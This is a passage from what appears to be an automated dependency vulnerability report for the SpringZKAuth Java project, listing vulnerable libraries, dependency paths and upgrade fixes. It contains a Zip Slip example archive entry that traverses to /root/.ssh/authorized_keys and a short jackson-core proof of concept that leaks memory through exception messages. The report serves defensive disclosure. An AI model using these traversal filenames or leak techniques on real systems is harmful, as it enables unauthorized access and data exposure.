One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade org.apache.httpcomponents:httpclient to version 4.5.3 or higher.
References
medium severity
- Vulnerable module: org.apache.httpcomponents:httpclient
- Introduced through: org.toile-libre.libe:curl@0.0.13
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.toile-libre.libe:curl@0.0.13 › org.apache.httpcomponents:httpmime@4.5.2 › org.apache.httpcomponents:httpclient@4.5.2Remediation: Upgrade to org.toile-libre.libe:curl@0.0.39.
Overview
org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.
Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.
Remediation
Upgrade org.apache.httpcomponents:httpclient to version 4.5.13 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1 › com.fasterxml.jackson.core:jackson-core@2.9.1
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Information Exposure due to the JsonLocation._appendSourceDesc method. An attacker can access up to 500 bytes of unintended memory content by exploiting exception messages that incorrectly read from the beginning of a byte array instead of the logical payload start.
Workaround
This vulnerability can be mitigated by disabling exception message exposure to clients to avoid returning parsing exception messages in HTTP responses and/or disabling source inclusion in exceptions to prevent Jackson from embedding any source content in exception messages, avoiding leakage.
PoC
byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);
JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception
// Exception message will include "SECRET"
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.13.0-rc1 or higher.
References
medium severity
- Vulnerable module: org.apache.zookeeper:zookeeper
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.3.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10
Overview
org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.
Affected versions of this package are vulnerable to Access Control Bypass. ZooKeeper’s getACL() method doesn’t check any permission when retrieving the ACLs of the requested node and returns all information contained in the ACL Id field as plain text string.
If Digest Authentication is in use, the unsalted hash value will be disclosed by the getACL() method for unauthenticated or unprivileged users.
Remediation
Upgrade org.apache.zookeeper:zookeeper to version 3.4.14, 3.5.5 or higher.
References
medium severity
- Module: ch.qos.logback:logback-classic
- Introduced through: org.springframework.boot:spring-boot-starter-actuator@4.0.0-RC2, org.springframework.boot:spring-boot-starter-jdbc@4.0.0-RC2 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-actuator@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-jdbc@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-data-jpa@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-security@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-data-jpa@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-jdbc@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-web@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-jackson@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-web@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-tomcat@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.cloud:spring-cloud-starter-config@5.0.0-RC1 › org.springframework.cloud:spring-cloud-starter@5.0.0-RC1 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.cloud:spring-cloud-starter-config@5.0.0-RC1 › org.springframework.cloud:spring-cloud-config-client@5.0.0-RC1 › org.springframework.cloud:spring-cloud-starter@5.0.0-RC1 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter-actuator@4.0.0-RC2, org.springframework.boot:spring-boot-starter-jdbc@4.0.0-RC2 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-actuator@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-jdbc@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-data-jpa@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-security@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-data-jpa@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-jdbc@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-web@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-jackson@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.boot:spring-boot-starter-web@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-tomcat@4.0.0-RC2 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.cloud:spring-cloud-starter-config@5.0.0-RC1 › org.springframework.cloud:spring-cloud-starter@5.0.0-RC1 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.cloud:spring-cloud-starter-config@5.0.0-RC1 › org.springframework.cloud:spring-cloud-config-client@5.0.0-RC1 › org.springframework.cloud:spring-cloud-starter@5.0.0-RC1 › org.springframework.boot:spring-boot-starter@4.0.0-RC2 › org.springframework.boot:spring-boot-starter-logging@4.0.0-RC2 › ch.qos.logback:logback-classic@1.5.20 › ch.qos.logback:logback-core@1.5.20
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: com.h2database:h2
- Introduced through: com.h2database:h2@2.4.240
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.h2database:h2@2.4.240
Dual license: EPL-1.0, MPL-2.0
medium severity
- Module: junit:junit
- Introduced through: org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE, com.101tec:zkclient@0.7 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › jline:jline@0.9.94 › junit:junit@4.12
EPL-1.0 license
low severity
- Vulnerable module: commons-codec:commons-codec
- Introduced through: org.toile-libre.libe:curl@0.0.13
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.toile-libre.libe:curl@0.0.13 › org.apache.httpcomponents:httpmime@4.5.2 › org.apache.httpcomponents:httpclient@4.5.2 › commons-codec:commons-codec@1.9
Overview
commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.
Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.
Remediation
Upgrade commons-codec:commons-codec to version 1.14 or higher.
References
low severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.
Remediation
There is no fixed version for log4j:log4j.
References
low severity
- Vulnerable module: com.google.guava:guava
- Introduced through: io.springfox:springfox-swagger2@2.7.0
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in FileBackedOutputStream. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.
NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.
Remediation
Upgrade com.google.guava:guava to version 32.0.0-android, 32.0.0-jre or higher.
References
low severity
- Vulnerable module: com.google.guava:guava
- Introduced through: io.springfox:springfox-swagger2@2.7.0
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
